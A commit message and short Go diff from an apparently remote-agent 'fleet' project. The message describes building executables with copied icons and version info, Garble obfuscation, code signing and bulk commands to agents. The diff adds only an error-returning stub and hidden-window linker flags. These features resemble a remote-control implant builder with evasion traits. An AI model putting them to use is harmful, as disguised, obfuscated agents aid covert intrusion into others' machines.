Add forge pipeline polish, simple forge UX, and fleet management upgrades.

Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.

server/internal/builder/icon_stub.go

@@ -2,10 +2,16 @@
 
 package builder
 
+import "fmt"
+
 func (h *Handler) prepareFusionWinres(fusionDir, prepPath string) error {
 	return nil
 }
 
+func (h *Handler) applyPrepResourcesToEXE(prepPath, exePath string) error {
+	return fmt.Errorf("fusion resource embedding requires building on Windows")
+}
+
 func fusionLdflags(prepPath string) string {
 	return "-s -w -H windowsgui"
 }